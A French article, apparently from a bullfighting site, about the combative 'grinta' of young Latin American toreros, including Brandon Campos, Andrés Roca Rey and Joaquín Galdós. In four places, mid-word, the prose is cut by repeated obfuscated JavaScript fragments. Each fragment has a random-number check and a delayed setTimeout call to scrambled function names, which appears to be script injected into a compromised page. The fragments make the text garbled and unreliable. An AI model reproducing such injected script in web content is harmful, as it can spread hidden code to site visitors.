LA « GRINTA » LATINO

La grinta est un mot argentin employé par les sportifs et qui signifie force, don de soi jusqu’au dernier souffle. Pendant cette Coupe du Monde de football ce qui a surtout interpellé la planète est la combativité des nations latinoaméricaines, même ches les plus petites. Une attitude où l’on n’a pas peur d’affronter plus grandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and que soi avec une foi inébranlable en la victoire.

Dans le temps, on disait que pour être torero il fallait avoir eu faim, une affirmation que je ne partage pas, mais par contre il faut avoir envie de tout dévorer. Les toreros de l’autre côté de l’Atlantique, ces dernières décennies, se sont produits essentiellement dans le cadre de leurs propres ferias. L’Europe représentait pour eux une expérience supplémentaire dans leurs parcours mais elle n’était pas déterminante. En plus ils y affrontaient un toro auquel ils n’étaient pas habitués et devant lequel bien souvent ils s’effaçaient.

Ces dernières années, chapeautés par des maestros et des professionnels espagnols, on leur a facilité la possibilité de se former des deux côtés de l’océan. Des toreros comme Joselito Adame ou Arturo Salivar ainsi que d’autres toreros mexicains commencent à se faire une place dans les ferias et peuvent encore mûrir, grandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andir comme toreros. Mais il y a aussi une nouvelle fournée, qui ne vient pas exclusivement du Mexique, qui commence à faire parler d’elle. Voici trois noms et une galerie photographique de chacun d’entre eux concoctée par notre confrère Bruno Lasnier.

Avec Brandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andon Campos, novillero mexicain habitant à Valdemorrillo, dans la province de Madrid, qui prendra l’alternative dans les arènes de Mimizan; Andrés Roca Rey, novillero péruvien qui vient de débuter avec picadors à Captieux et dont le maestro n’est autre que José Antonio Campuzano; et Joaquín Galdós, novillero sans picadors originaire de Lima qui a élu domicile en Espagne et que l’on va voir souvent avec plaisir en Europe. Tous les droits ont un dénominateur commun: la grinta, beaucoup de grinta.

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